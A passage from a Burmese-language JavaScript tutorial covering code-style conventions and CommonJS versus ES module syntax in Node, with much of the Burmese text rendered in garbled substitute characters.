Statement ပါမယ်ဆိုရင် if အတွက် တွန့်ကွင်းအပိတ်နဲ့ else အတွက် တွန့်ကွင်းအoွင့်တို့ကို တစ်လုိင်း
ထဲ ထားပြပီး dရးသင့်ပါတယ်။

 Pseudocode 
if(true) {
    // Statements
} else {
    // Statements
}
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Switch Statement dတွdရးတဲ့အခါ case တစ်ခုစီနဲ့သက်ဆိုင်တဲ့ Statement dတွကို တစ်ဆက်ထဲ dရး
လ့ုိလည်း ရdပမယ့် dနာက်တစ်လုိင်းဆင်းပြပီး dရးသင့်ပါတယ်။

 Pseudocode 
switch(expression) {
    case 1:
        // Statements
        break
    case 2:
        // Statements
        break
    default:
        // Statements
}

ကျန်တဲ့ while, for, for-of စတဲ့ Loop dတရွဲ့dရးဟန်ကို သီးgခားထပ်ထည့် မdgပာdတာ့ပါzူး။
ဒီသdzာdပါ်မှာပဲ အdgခခံပြပီး dရးသားရမှာ goစ်ပါတယ်။ Indent dတွကိုdတာ့ မှန်dအာင်dပးo့ုိ လုိပါမယ်။
Code Block dတွ အထပ်ထပ်အဆင့်ဆင့် goစ်လာတဲ့အခါ zယ်ကုဒ်က zယ် Block အတွက်လည်းဆိုတာ
Indent မှန်မှပဲ သိသာgမင်သာမှာပါ။ Indent မမှန်ရင်dတာ့ ကိုယ့်ကုဒ်ကို ကိုယ်တိုင်gပန်oတ်လ့ုိdတာင် နား
မလည်zူးဆိုတာမျ ို းdတွ goစ်လာနိုင်ပါတယ်။

 Pseudocode 
function doSomething() {
    while(condition) {
        if(condition) {
            // Statements
        }

        // Statements
    }

    // Statements
}

If Statement  dတွမှာ  Statement  တစ်deကာင်းထဲရှိလုိ့ တွန့်ကွင်းမပါzဲ dရးချင်ရင် dနာက်တစ်လုိင်း မ
ဆင်းသင့်ပါzူး၊ တစ်deကာင်းထဲပဲ goစ်သင့်ပါတယ်။ dနာက်တစ်လုိင်း ဆင်းo့ုိလိုရင် တွန့်ကွင်းအoွင့်အပိတ်
ထည့်လိုက်တာ ပုိdကာင်းပါတယ်။
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 Pseudocode 
if(true) doSomething()
else doElse()

Method တစ်ခုနဲ့တစ်ခု  Function တစ်ခုနဲ့တစ်ခု  Block တစ်ခုနဲ့တစ်ခုeကားထဲမှာ လုိင်းအလွတ်တစ်လိုင်း
gခားပြပီးdတာ့ dရးသင့်ပါတယ်။  Variable  deကညာချက်dတွ၊  Return Statement  dတွနဲ့  တgခားကုဒ်dတွ
ကိုလည်း လုိင်းအလွတ် တစ်လုိင်းgခားပြပီး dရးသင့်ပါတယ်။

 Pseudocode 
function sub(a, b) {
    let result = 0
    if(a > b) result = a – b
    else result = b - a
    return result
}

Comments
//  Operator  ကိုသံုးပြပီးdရးတဲ့  Comment  dတွမှာ  Operator  နဲ့  စာeကားထဲမှာ  Space  တစ်ခု  ပါသင့်ပါ
တယ်။ /* */ Operator ကိုသံုးပြပီး dရးတဲ့အခါ တစ်deကာင်းထဲဆိုရင် အoွင့်အပိတ်ရဲ့ dရှ့dနာက်မှာ Space
တစ်ခုစီပါသင့်ပါတယ်။ တစ်deကာင်းထက် ပုိမယ်ဆိုရင် အoွင့်ကို အdပါ်ဆုံးမှာ သပ်သပ်dရးပြပီး အပိတ်ကို
dအာက်ဆုံးမှာ သပ်သပ်dရးသင့်ပါတယ်။

 Pseudocode 
// Line Comment

/* Single Line Comment */

/*
Some comments with
more than single lines 
*/
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Classes
Class Name    dတွဟာ    Capital  Case    goစ်သင့်ပါတယ်  ။  Property  dတွ  Method  dတကွdတာ့  Camel
Case  ကို  အသံုးgပုသင့်ပါတယ်။  Class  အတွက် တွန့်ကွင်းအoွင့်ကို  တgခား  Language  dတွမှာ dအာက်
တစ်လုိင်း ဆင်းdရးeကdလ့ရှိပြပီး  JavaScript  မှာ  class Keyword  နဲ့ တစ်လုိင်းထဲပဲ ထားdရးeကdလ့ ရိှပါ
တယ်။

 Pseudocode 
class Animal {
    constructor(name) {
        this.name = name
    }

    makeSound () {
        // Statements
    }
}

တစ်ချ ို ့ Language dတွမှာ Private Property dတွ Private Method dတွကို dရှ့ကdန Underscore နဲ့စ
သင့်တယ်ဆိုတဲ့  သတ်မှတ်ချက်ရှိပါတယ်။  အမည်ကိုeကည့်လုိက်ယုံနဲ့  ကွဲgပားdစချင်တဲ့အတွက်  goစ်ပါ
တယ်။  JavaScript  မှာdတာ့  Private  dတွကို  dရှ့ ကdန  #  သdက[တ ခdံရးရလ့ုိ  Underscore  မထည့်
လည်းပဲ ကွဲgပားပြပီးgoစ်ပါတယ်။

Callback Function & Method Chaining
Function  တစ်ခုကို  dခါ်ယူစဉ်မှာ  Callback  Function  dတွdပးရတဲ့အခါ  အများအားgoင့်  Callback
Function  dတွက  dနာက်ဆုံးက  dနdလ့ရှိပါတယ်။  အ့ဲဒီအခါမှာ  မူလ  Function  ကိုdခါ်တဲ့  ဝုိက်ကွင်း
အပိတ်နဲ့ Callback Function ရဲ့ တွန့်ကွင်းအပိတ်ကို တစ်လုိင်းထဲ dရးdပးသင့်ပါတယ်။

 Pseudocode 
add(1, 2, function(3, 4) {
    // Callback Function Statements
})
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တစ်ချ ို ့လည်း Callback Function က dရှ့ကdနတာမျ ို း goစ်နိုင်ပါတယ်။ အ့ဲဒီအခါမှာ Callback Function
ရဲ့အပိတ်dနာက်မှာ Comma ခံပြပီး ကျန် Argument dတွကို တစ်ဆက်ထဲ dပးသင့်ပါတယ်။

 Pseudocode 
setTimeout(function() {
    // Callback Function Statements
}, 2000)

တစ်ခါတစရ်ံ  Callback  Function  နှစ်ခုသုံးခုလည်း  goစ်တတ်ပါတယ်။  အ့ဲဒီအခါမှာ  ပထမ  Callback
Function ရဲ့အပိတ်တွန့်ကွင်းdနာက်မှာ Comma နဲ့အတူ ဒုတိယ Callback Function လုိက်သင့်ပါတယ်။

 Pseudocode 
add(function(1, 2) {
    // Callback Function Statements
}, function(3, 4) {
    // Callback Function Statements
})

တစ်ချ ို ့  Object Methods  dတွကို တွဲဆက်ပြပီး အတွဲလုိက် dခါ်ယူအသံုးgပုလုိတဲ့အခါ တိရုင်တစ်ဆက်ထဲ
dရးလုိ့ရပါတယ်။ လုိအပ်ရင်dတာ့ Method တစ်ခုကိုတစ်လုိင်းခွဲပြပီး သံုးသင့်ပါတယ်။

 Pseudocode 
users.map(u => u.name).filter(u => u.age > 18)
users
    .map(u => u.name)
    .filter(u => u.age > 18)

Semicolon
ဒီကိစ္စကdတာ့ ရှင်းမလုိလုိနဲ့ ရှုပ်dနတဲ့ကိစ္စdလးပါ။ Language အdတာ်များများမှာ Statement တစ်ခုဆုံး
တိုင်း  Semicolon  နဲ့ ပိတ်dပးရပါတယ်။  JavaScript  မှာလည်း အ့ဲဒီလို ပိတ်dပးoို့  လုိအပ်ပါတယ်။ ဒါdပ
မယ့် Automatic Semicolon Insertion (ASI) လ့ုိdခါ်တဲ့ နည်းစနစ်တစ်မျ ို း ရှိdနလ့ုိ ကိုယ့်zာသာ ထည့်
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dပးစရာမလုိပါzူး။ Language က လုိတဲ့dနရာမှာ သ့ူzာသာထည့်ပြပီး အလုပ်လုပ်သွားပါတယ်။ ဒါdeကာင့်
dရးတဲ့သူက Semicolon dတွကို ထည့်dရးလည်းရတယ်။ မထည့်zdဲရးလည်း ရdနပါတယ်။

လက်dတွ့ကုဒ်dတွ dရးတဲ့အခါ  JavaScript  တစ်ခုထဲနဲ့  မပြပီးပါzူး၊  တgခား  Language  dတွ နည်းပညာ
dတွနဲ့  လုပ်ငန်းလုိအပ်ချက်dပါ်မူတည်ပြပီး ပူးတွဲအသံုးgပုရတာdတွ ရှိပါလိမ့်မယ်။ အ့ဲဒီမှာ C/C++ တို့  Java
တို့လုိ Language မျ ို းdတွမှာ Statement ဆုံးတိုင်း မgoစ်မdန Semicolon ထည့်dရးdပးရပါတယ်။ Ruby
တို့ Python တို့လုိ Language မျ ို းdတွမှာကျdတာ့ ထည့်oို့မလုိdတာ့gပန်ပါzူး။ JavaScript နဲ့ တွဲသံုးgoစ်o့ုိ
များတဲ့  CSS တို့  PHP တို့မှာ ထည့်o့ုိ လုိသွားgပန်ပါတယ်။ Semicolon dတွထည့်လုိက် မထည့်လုိက်ဆိုရင်
အdလ့အကျင့်ပျက်ပြပီး မကျန်သင့်တဲ့dနရာမှာ ကျန်ခဲ့လို့ မလိုအပ်zဲ Error dတတွက်တယ်ဆိုမျ ို း goစ်နိုင်ပါ
တယ်။ ဒါdeကာင့် တစ်ချ ို ့က  Statement  ဆုံးတိုင်း  Semicolon  နဲ့  အဆုံးသတ်dပးတဲ့  အdလ့အကျင့်  ရှိ
ထားသင့်တယ်လို့ ဆိုeကပါတယ်။ 

ပြပီးdတာ့  Automatic  Semicolon  Insertion  စနစ်က  တစ်ချ ို ့ဆန်းgပားတဲ့  ကုဒ်dတွမှာ  မထည့်သင့်တဲ့
dနရာ  Semicolon  ထည့်ပြပီး အလုပ်လုပ်dနလ့ုိ မှားdနတာမျ ို းdတွ ရိှတတ်ပါတယ်။ goစ်ခဲdပမယ့် အ့ဲဒီလို
မှားတဲ့အခါ အမှားရှာက အရမ်းခက်ပါတယ်။ ဒီအချက်deကာင့်လည်း Statement ဆုံးတိုင်း Semicolon နဲ့
အဆုံးသတ်dပးသင့်တယ်လို့  ဆိုeကပါတယ်။  စာdရးသူကိုယ်တိုင်လည်း  အရင်က  အပြမဲထည့်သင့်တယ်လို့
ခံယူdပမယ့်၊  အခုdနာက်ပုိင်းမှာ  တစ်ချ ို ့    Library    ကုဒ်dတွ    Framework    ကုဒ်dတွက မထည့်zဲ dရးeက  
dတာ့ ကိုယ်ကလည်း တူညီသွားdအာင် မထည့်zဲ လုိက်dရးရတာdတွ ရှိပါတယ်။

ဒီစာအုပ်မှာ  doာ်gပခဲ့တဲ့  နမူနာdတွမှာ  Semicolon  ထည့်ပြပီး  မdoာ်gပခဲ့ပါzူး။  စdလ့လာမယ့်သူdတွ
အတွက်  မျက်စိရှုပ်စရာ  တစ်ခုသက်သာလည်း  မနည်းzူးလို့သdzာထားတဲ့အတွက်  မထည့်zဲ  dရးgပခဲ့
တာပါ။  မdတာတ်စ်ဆ  မထည့်သင့်တဲ့dနရာ  ထည့်မိပြပီး  Error  dတွ  goစ်dနမှာ  စိုးလ့ုိလည်း  ပါပါတယ်။
dနာက်ဆုံး ဥပမာdပးခဲ့တဲ့ ကုဒ်မှာdတာင် အ့ဲဒီလိုအမှားမျ ို း goစ်နိုင်dgခရှိပါတယ်။

 Pseudocode 
users.map(u => u.name).filter(u => u.age > 18);
users
    .map(u => u.name);
    .filter(u => u.age > 18);
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ပထမကုဒ်ရဲ့dနာက်ဆုံးမှာ  Semicolon  ပိတ်dပးထားတာ မှန်ပါတယ်။ ဒုတိယကုဒ်မှာdတာ့ မှားသွားပါပြပီ။
Line  အဆုံးမုိ့လ့ုိ  dယာင်ပြပီး  ထည့်လိုက်မိတာမျ ို းပါ။  တစ်ကယ်dတာ့  map() dနာက်မှာ  Semicolon  မ
ထည့်ရပါzူး။  Statement  မပြပီးdသးပါzူး။  ဒီလုိအမှားမျ ို းdတွdeကာင့်  မလုိအပ်zဲ  Error  dတွတက်ပြပီး
eကန့်eကာမှာစိုးလ့ုိ  Semicolon  မထည့်zဲ  dရးgပခဲ့တာပါ။  လက်dတွ့မှာ  ထည့်dရးတာက အdလ့အကျင့်
dကာင်းgoစ်ပြပီး မထည့်zဲdရးရင်လည်း gပဿနာdတာ့ မရှိပါzူးလုိ့ ဆိုချင်ပါတယ်။
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အခန်း (၂၁) –  JavaScript Modules

JavaScript  မှာ  Environment  နှစ်ခုရှိတယ်လ့ုိ  ဆိုနိုင်ပါတယ်။  Browser  နဲ့  Node  တို့ပါ။  နှစ်မျ ို းလံုးက
JavaScript ကုဒ်dတွကို Run dပးနိုင်တဲ့ နည်းပညာdတွပါ။ ဒါdeကာင့် လက်ရှိdလ့လာထားတဲ့ JavaScript
ကုဒ်dတွကို   Browser   မှာ   Run   လ့ုိ ရသလ့ုိ   Node   နဲ့လည်း   Run   လ့ုိရနိုင်ပါတယ်  ။ Browser နဲ့ပက်သက်ရင်
ရိုးရိုး  JavaScript  ထက်ပုိပြပီး  ထူးgခားသွားတာက  Document  Object  Model  (DOM)  လ့ုိdခါ်တဲ့
သdzာသzာဝ goစ်ပါတယ်။ dနာက်တစ်ခန်းမှာ သီးgခားdoာ်gပပါမယ်။ 

Node  နဲ့ပက်သက်ရင်  ရိုးရိုး  JavaScript  ထက်ပိုပြပီး  ထူးgခားသွားတာကdတာ့  Module  နဲ့  Package
Management System goစ်ပါတယ်။ ဒီအdeကာင်းdတွကို dနာက်အပုိင်းdတွမှာ ဆက်လက်dလ့လာနိုင်ပါ
တယ်။  ဒီdနရာမှာ  JavaScript  အdgခခံသdzာသzာဝအdနနဲ့  ထည့်သွင်းdလ့လာသင့်တဲ့အတွက်
dရးွထုတ်doာ်gပချင်တာက Module dရးထံုးအdeကာင်း goစ်ပါတယ်။

Node  ဆိုတဲ့နည်းပညာ စdပါ်ကတည်းက သ့ူမှာ  Module  dရးထံုးပါဝင်ပြပီး  goစ်ပါတယ်။  (၂၀၀၈)  ခုနှစ်
ဝန်းကျင်dလာက်ကပါ။  အ့ဲဒီအချနိ်  ရိုးရိုး  JavaScript  မှာ  Module  dရးထံုးမရှိdသးလ့ုိ  သူက  goည့်စွက်
ထည့်သွင်းdပးထားတာလ့ုိ  ဆိုနိုင်ပါတယ်။  အခုdတာ့  ရိုးရိုး  JavaScript  မှာလည်း  သ့ူကိုယ်ပုိင်  Module
dရးထံုးရှိdနပါပြပီ။  Node  Module  dရးထံုးက  အရင်dပါ်ပြပီး  ရိုးရိုး  JavaScript  Module  dရးထံုးက
dနာက်မှdပါ်တာလ့ုိ ဆိုနိုင်ပါတယ်။ dရးထံုးမတူeကပါzူး။ နှစ်မျ ို းလုံးကို doာ်gပdပးသွားမှာ goစ်ပါတယ်။
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ပထမဆုံးအdနနဲ့ Node ကို ဒီဝz်ဆိုက်ကdန Download လုပ်ပြပီး Install လုပ်ထားoို့လုိပါတယ်။

- https://nodejs.org

Download လုပ်ပုံလုပ်နည်းနဲ့  Install  လုပ်ပုံလုပ်နည်းကိုdတာ့ ထည့်မdgပာdတာ့ပါzူး။ ခက်ခဲရှုပ်dထွးတဲ့
အဆင့်dတွမရှိပါzူး။ အdပါ်ကပံုမှာ eကည့်လုိက်ရင် သ့ူဝz်ဆိုက်မှာ  14.15.1 LTS နဲ့  15.4.0 Current  ဆို
ပြပီး နှစ်မျ ို းdပးထားတာကို dတွ့ ရနိုင်ပါတယ်။ Current ကdနာက်ဆုံး Version goစ်ပြပီး LTS ကdတာ့ Long
Term Support Version dခါ် အများသံုးသင့်တဲ့  Version goစ်ပါတယ်။ စမ်းသပ်dရးသားယုံပဲ မ့ုိလ့ုိ နှစ်မျ ို း
လံုး zာသုံးသံုး အဆင်dgပပါတယ်။ လက်dတွ့သုံးမှာဆိုရင်dတာ့ LTS Version ကို dရးွသင့်ပါတယ်။

Download  လုပ်ပြပီးရင်  Install  လုပ်လုိက်ပါ။ dပးထားတဲ့  Options  dတွအတိုင်း သွားယုံပါပဲ။ zာမှ gပင်
စရာ dရွးစရာမလုိပါzူး။  Install  လုပ်ပြပီးdနာက်  Command Prompt (သ့ုိ) Terminal  ကို oွင့်ပြပီး အခုလုိ
စမ်းeကည့်နိုင်ပါတယ်။

node -v
v14.15.1

https://nodejs.org/
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node Command အတွက် -v Option dပးလုိက်တာပါ။ ဒါdeကာင့်  Install လုပ်ထားတဲ့  Node Version
ကို gပန်ရမှာ goစ်ပါတယ်။ dရးထားတဲ့ JavaScript ကုဒ်dတွကို Run o့ုိအတွက် node Command dနာက်
မှာ Run လုိတဲ့ File Name ကို dပးလုိက်ရင် ရပါပြပီ။ VS Code ကို အသံုးgပုပြပီး ကုဒ်dတွdရးသားတာဆိုရင်
VS Code  မှာပါတဲ့  Integrated Terminal  ကိုသံုးပြပီးdတာ့  Run  လ့ုိရပါတယ်။  Ctrl  +  `  ကိုနှိပ်လုိက်ရင်
dအာက်နားမှာ  Integrated  Terminal  dပါ်လာပါလိမ့်မယ်။  အ့ဲဒီထဲမှာ  Run  လုိတဲ့  Command  dတွကို
Run ယံုပါပဲ။

နမူနာပံုကိုeကည့်လိုက်ရင် math.js ဆိုတဲ့oုိင်ထဲမှာ Function တစ်ခုနဲ့  console.log() Statement
နှစ်ခရုှိdနပါတယ်။ အ့ဲဒီoုိင်ကို Terminal ထဲမှာ node နဲ့ Run ထားပါတယ်။ 

node math.js

အကယ်၍ ရိုးရိုး Command Prompt (သ့ုိ) Terminal ကို သံုးတာဆိုရင် node Command အတွက် File
Name dပးတဲ့အခါ oုိင်ရဲ့တည်dနရာ Path လမ်းdeကာင်းကို မှန်dအာင်dပးo့ုိလုိတယ်ဆိုတာကို သတိgပုပါ။
Command Prompt ကို သံုးတဲ့အdလ့အကျင့် မရှိdသးzူးဆိုရင်  VS Code ရဲ့  Integrated Terminal  ထဲ
မှာပဲ စမ်းလုိက်ပါ။ အ့ဲဒါပုိပြပီးdတာ့ စမ်းရလွယ်ပါတယ်။
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Module   ဆိုတာ သီးgခားoုိင်တစ်ခုနဲ့ ခွဲgခားdရးသားထားတဲ့ ကုဒ်dတွကို dခါ်ယူအသုံးgပုနည်း   လ့ုိ အလွယ်
မှတ်နိုင်ပါတယ်။ ဒီoွင့်ဆိုချက်က မgပည့်စုံdသးdပမယ့် လုိရင်းက ဒါပါပဲ။ 

Node Module
ဥပမာ  စမ်းeကည့်နိုင်o့ုိ  math.js ဆိုတဲ့  oုိင်တစ်ခုနဲ့  index.js ဆိုတဲ့  oုိင်တစ်ခု၊  စုစုdပါင်း  (၂)  ခု
တည်dဆာက်လုိက်ပါ။  math.js ထဲမှာ  dရးထားတဲ့  လုပ်dဆာင်ချက်ကို  index.js ကdန  ရယူ
အသံုးgပုပြပီး စမ်းeကည့်eကပါမယ်။ ဒါdeကာင့် math.js ထဲမှာ အခုလုိdရးလုိက်ပါ။

 JavaScript 
function add(a, b) {
    return a + b
}

function div(a, b) {
    if(b === 0) return "Cannot divided by zero"
    else return a / b
}

module.exports = div

add() နဲ့  div() ဆိုတဲ့ Function နှစ်ခုရှိပါတယ်။ dအာက်ဆုံးမှာdရးထားတဲ့ module.exports ရဲ့
အဓိပ္ပါယ်ကdတာ့ div() Function ကို  Module အdနနဲ့ ထုတ်dပးမယ်လ့ုိ dgပာတာပါ။ ဒါdeကာင့် ဒီoုိင်
ထဲမှာ dရးထားတဲ့ ကုဒ်dတွထဲကမှ div() ကို တgခားလုိအပ်တဲ့oုိင်ကdန ချတိ်ဆက်အသံုးgပုလ့ုိရသွားပါ
ပြပီ။ ဒါကိုစမ်းeကည့်နိုင်o့ုိအတွက် index.js မှာ အခုလုိdရးနိုင်ပါတယ်။

 JavaScript 
const div = require("./math")
console.log(div(1, 2))

require() Statement  ကိုသံုးပြပီး  Module  ကိုချတိ်ဆက်ရတာပါ။  Argument  အdနနဲ့  Standard
Module  dတွ  Package  Module  dတွဆိုရင်  Module  အမည်ကို  dပးရပြပီး၊  ကိုယ့်zာသာdရးထားတဲ့
Module  ဆိရုင်dတာ့  Module  oုိင်ရဲ့  တည်dနရာနဲ့အမည်ကို  dပးရပါတယ်။  နမူနာမှာ  ကိုယ့်zာသာ
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dရးထားတဲ့ math.js ကို အသံုးgပုလုိတာgoစ်တဲ့အတွက် ./math လ့ုိdပးထားပါတယ်။ ./ ရဲ့အဓိပ္ပါယ်
က လက်ရှိoုိဒါလို့  dgပာလုိက်တာပါ။ ဒါdeကာင့်  Module  oုိင်ကို လက်ရှိ  index.js ရိှdနတဲ့ oုိဒါထဲမှာပဲ
သွားရှာမှာပါ။ oုိင်အမည် အgပည့်အစုံက math.js goစ်dပမယ့် dနာက်က .js Extension ကို dပးစရာမ
လုိလ့ုိ ထည့်dပးမထားတာပါ။

math.js ကိုချတိ်ဆက်လုိက်လ့ုိရလာတဲ့ လုပ်dဆာင်ချက်ကို div() ထဲမှာ ထည့်ထားပါတယ်။ Module
လုပ်dဆာင်ချက်ကို  ကိုယ့်zက်က  gပင်စရာအdeကာင်းသိပ်မရှိလ့ုိ  Constant  အdနနဲ့  deကညာထားပါ
တယ်။ အခုလုိgပည့်စုံdအာင် ချတိ်ဆက်ပြပီးရင်တဲ့  ရရိှထားတဲ့  လုပ်dဆာင်ချက်ကို  အသံုးgပုလ့ုိ ရdနပြပီမ့ုိလို့
console.log() နဲ့ div() ရဲ့ရလဒ်ကို doာ်gပထားgခင်းပဲgoစ်ပါတယ်။ 

ဒီdနရာမှာ သတိgပုရမှာက  math.js မှာ လုပ်dဆာင်ချက် နှစ်ခုရှိdပမယ့်၊  Module  အdနနဲ့  ထုတ်dပး
dတာ့ တစ်ခုပဲ dပးထားတာကို သတိgပုပါ။ ဒါdeကာင့် ချတိ်ဆကရ်ယူသူက dပးထားတဲ့ တစ်ခုကိုပဲ ယူလ့ုိရ
တာပါ။ အကယ်၍ နှစ်ခုသုံးခုdပးချင်ရင်dတာ့  Object  အdနနဲ့  gပန်dပးeကdလ့ရှိပါတယ်။  meth.js ကို
အခုလုိ gပင်eကည့်လုိက်ပါ။
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 JavaScript 
const PI = 3.14
function add(a, b) {
    return a + b
}

function div(a, b) {
    if(b === 0) return "Cannot divided by zero"
    else return a / b
}

module.exports = { PI, add, div }

Constant  တစ်ခုနဲ့  Function  နှစ်ခု  သံုးခုရှရိာမှာ သံုးခုလုံးကို  Module Export  အdနနဲ့  dပးထားတာပါ။
Property Shorthand dရးထံုးကို သံုးထားတာ သတိgပုပါ။ အgပည့်အစုံdရးရင် ဒီလုိgoစ်ပါလိမ့်မယ်။

module.exports = { PI: PI, add: add, div: div }

ဒီလုိdပးထားတဲ့အတွက်  ရယူအသံုးgပုတဲ့  index.js ကလည်း  dပးထားသမျှ  အကုန်ယူလ့ုိ  ရသွားပါ
တယ်။ index.js မှာ အခုလုိစမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 
const math = require("./math")
console.log(math.PI)    // 3.14

math.js က gပန်dပးထားတဲ့ Object ကို math Constant နဲ့လက်ခံထားပြပီးdတာ့မှ လုိချင်တဲ့ လုိdဆာင်
ချက်ကို  math ရဲ့  Property/Method  ကdနတစ်ဆင့်  အသံုးgပုလိုက်တာပါ။  Destructuring  dရးထံုးကို
သံုးပြပီး အခုလုိdရးလ့ုိလည်း ရနိုင်ပါdသးတယ်။

 JavaScript 
const { PI, add } = require("./math")
console.log( add(1, 2) )    // 3
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လက်ခံရရှိမယ့်  Module  Object  ကို  Destructure  လုပ်ပြပီး  သက်ဆိုင်ရာ  Constant  Variable  အdနနဲ့
တစ်ခါထဲ လက်ခံထားလုိက်တာပါ။

ဒီ  dရးထံုးကို  CommonJS Module  dရးထံုးလ့ုိ  dခါ်ပါတယ်။  CommonJS  ဆိုတဲ့အမည်နဲ့  JavaScript
Library တစ်ခုရှိခဲ့oူးပြပီး အ့ဲဒီ Library က JavaScript မှာမရှိdသးတဲ့  Module dရးထံုးကို တီထွင်dပးထား
တာပါ။ Node က CommonJS ကို နမူနာယူ အသုံးgပုထားလို့ Node ရဲ့ Module dရးထံုးကို CommonJS
Module dရးထံုးလ့ုိdခါ်တာပါ။ 

ES Module
JavaScript  ဟာ  ECMA  လ့ုိdခါ်တဲ့  အoဲွ့အစည်းက  စံချနိ်စံညွှန်းတစ်ခုအgoစ်  သတ်မှတ်ထားတဲ့
ECMAScript  ကို  အdgခခံ  တီထွင်ထားတာပါ။  မူအရ  ECMAScript  ဆိုတာ  စံသတ်မှတ်ချက်goစ်ပြပီး  ဒီစံ
သတ်မှတ်ချက်နဲ့အညီ  Programming  Language  dတွ  တီထွင်လ့ုိရတယ်ဆိုတဲ့  သdzာမျ ို းပါ။
ActionScript, JScript  စသည်goင့်  ECMAScript  ကို  အdgခခံထားတဲ့  တgခား  Language  dတွ ရိှdသးdပ
မယ့် အသံုးတွင်ကျယ်gခင်းdတာ့ မရှိdတာ့ပါzူး။

ECMAScript ကို အဆက်မgပတ် Version အဆင့်ဆင့် gမှင့်တင်dနပါတယ်။ ဒါdeကာင့် Version နံပါတ်နဲ့တွဲ
ပြပီး ES5, ES6, ES7 စသည်goင့် အတိုdကာက် dခါ်eကdလ့ ရိှပါတယ်။ သက်ဆိုင်ရာ Version ကို ထုတ်လုပ်
တဲ့ ခုနှစ်နဲ့တွဲပြပီးdတာ့ ECMAScript 2015, ECMAScript 2019 စသည်goင့်လည်း dခါ်eကပါdသးတယ်။ အ့ဲဒီ
ထဲမှာ အdရးအပါဆုံးလ့ုိ ဆိုနိုင်တာကdတာ့ ES6 (ECMAScript 2015) goစ်ပါတယ်။ let, const တို့လ့ုိ
dရးထံုးမျ ို းdတွ၊  Rest  Parameters,  Destructuring,  Arrow  Function  စတဲ့  ထူးgခားအသံုးဝင်တဲ့
လုပ်dဆာင်ချက်dတွဟာ  ES6  မှာ  စတင်ပြပီး  ပါဝင်လာတဲ့အတွက်deကာင့်ပါ။  သ့ူdနာက်ပုိင်း  ES7,  ES8
စသည်goင့်ထွက်dပါ်လာခဲ့တာ  အခုဒီစာကို  dရးdနတဲ့အချနိ်မှာ  ES11  ကို  dရာက်ရှိdနပါပြပီ။  dနာက်ပုိင်း
Version dတွမှာလည်း အdgပာင်းအလဲနဲ့ အဆင့်gမှင့်တင်မှုdတွ ဆက်တိုက်ပါဝင်dနdပမယ့် ES6 မှာပါဝင်ခဲ့
တဲ့ အdgပာင်းအလဲdတွက JavaScript Community တစ်ခုလံုးကို ကိုင်လှုပ်dgပာင်းလဲသွားdစခဲ့လုိ့ ES6 က
အထင်ရှားဆုံးနဲ့ လူdgပာအများဆုံး goစ်ခဲ့ပါတယ်။

ES6 မှာပါဝင်ခဲ့တဲ့ လုပ်dဆာင်ချက်dတွထဲမှာ Module လည်း အပါအဝင်goစ်ပါတယ်။ မူလက JavaScript
မှာ  Module  လုပ်dဆာင်ချက်မရှိdပမယ့်  ES6  ထွက်dပါ်လာပြပီးdနာက်မှာdတာ့  Module  လုပ်dဆာင်ချက်
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Official  ပါဝင်သွားခဲ့ပါပြပီ။ ဒီလုိပါဝင်သွားတဲ့  Module  စနစ်ဟာ Node မှာသံုးdနတဲ့  Module  စနစ်နဲ့ မတူ
တဲ့အတွက် ကွဲgပားသွားdအာင် ES Module လ့ုိ သုံးနှုန်းdgပာဆိုeကdလ့ ရှိပါတယ်။ 

အခုdတာ့  Node  ကလည်း သ့ူမူလ  CommonJS Module  dရးထံုးကိုသာမက  ES Module  dရးထံုးကိုပါ
ပ့ံပုိးdပးလာပါပြပီ။  နှစ်မျ ို းdရးလ့ုိရတယ်ဆိုတဲ့  သdzာပါ။  ဒါdပမယ့်  စမ်းသပ်အဆင့်မှာပဲ  ရှိdသးလုိ့  ကန့်
သတ်ချက်နဲ့  အခက်အခဲdလးတစ်ချ ို ့dတာ့  ရိှပါတယ်။  အခက်အခဲကdတာ့  မူလ  CommonJS  Module
dတွနဲ့  ES Module  dတွကို  တွဲသံုးရ ခက်ခဲgခင်း goစ်ပါတယ်။ အကန့်အသတ်အdနနဲ့ကdတာ့ လက်ရှိ  ဒီ
စာdရးdနချနိ်ထိ CommonJS Module က Default goစ်ပြပီး ES Module ကိုသုံးလုိရင် File Extension ကို
mjs လ့ုိdပးပြပီး သံုးရမှာgoစ်ပါတယ်။

ဒါdeကာင့် dစာdစာက စမ်းခဲ့တဲ့ Module လုပ်dဆာင်ချက်ကိုပဲ ES Module အdနနဲ့ gပန်လည်စမ်းသပ်နိုင်oို့
အတွက် math.mjs နဲ့ index.mjs ဆိုတဲ့ oုိင်နှစ်ခုတည်dဆာက်လုိက်ပါ။ ပြပီးတဲ့အခါ math.mjs oုိင်
ထဲမှာ ဒီကုဒ်ကို dရးပြပီး dလ့လာeကည့်လုိက်ပါ။

 JavaScript 
const PI = 3.14
export default function add(a, b) {

return a + b
}

add() Function ကို deကညာစဉ်မှာ export default dရးထံုးကိုသုံးပြပီး Module လုပ်dဆာင်ချက်
အdနနဲ့ dပးထားတာ goစ်ပါတယ်။ အ့ဲဒီလို  Function deကညာစဉ်မှာ မdပးzဲ dနာက်မှ Export လုပ်dပး
လ့ုိလည်း ရပါတယ်။ ဒီလုိပါ – 

 JavaScript 
const PI = 3.14
function add(a, b) {

return a + b
}

export default add 
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ရလဒ်အတူတူပါပဲ။  Function  deကညာစဉ်မှာ  တစ်ခါထဲ  Export  မလုပ်dတာ့zဲ  dနာက်ဆုံးကျdတာ့မှ
Export လုပ်dပးလုိက်တာပါ။ ဒီလုိ Export  လုပ်dပးထားတဲ့ Module ကို gပန်လည်အသံုးgပု စမ်းသပ်နိုင်o့ုိ
အတွက် index.mjs oုိင်မှာ အခုလုိ dရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 
import add from "./math.mjs"
console.log( add(1, 2) )    // 3

require() Statement ကို မသံုးdတာ့ပါzူး။ import Statement ကိုသံုးပါတယ်။ require() မှာ
လုိ ဝုိက်ကွင်းအoွင့်အပိတ် မသံုးzဲ from Keyword dနာက်ကdန File Name လုိက်ရပါတယ်။ ရိုးရိုး js
Extension ရိှတဲ့oုိင်အတွက် Extension ထည့်မdပးရင် ရdပမယ့် mjs Extension oုိင်အတွက် Extension
ကိုပါ အgပည့်အစုံ ထည့်dပးရပါတယ်။ ဒီoိုင်ကို node နဲ့ Run eကည့်ရင် လုိချင်တဲရ့လဒ် ရတာကို dတွ့ရမှာ
goစ်ပါတယ်။

node index.mjs

dပးရတဲ့ index oုိင်ရဲ့ Extension က mjs ဆိုတာကို မdမ့ပါနဲ့။ dမ့တတ်ပါတယ်။ မှားတတ်ပါတယ်။
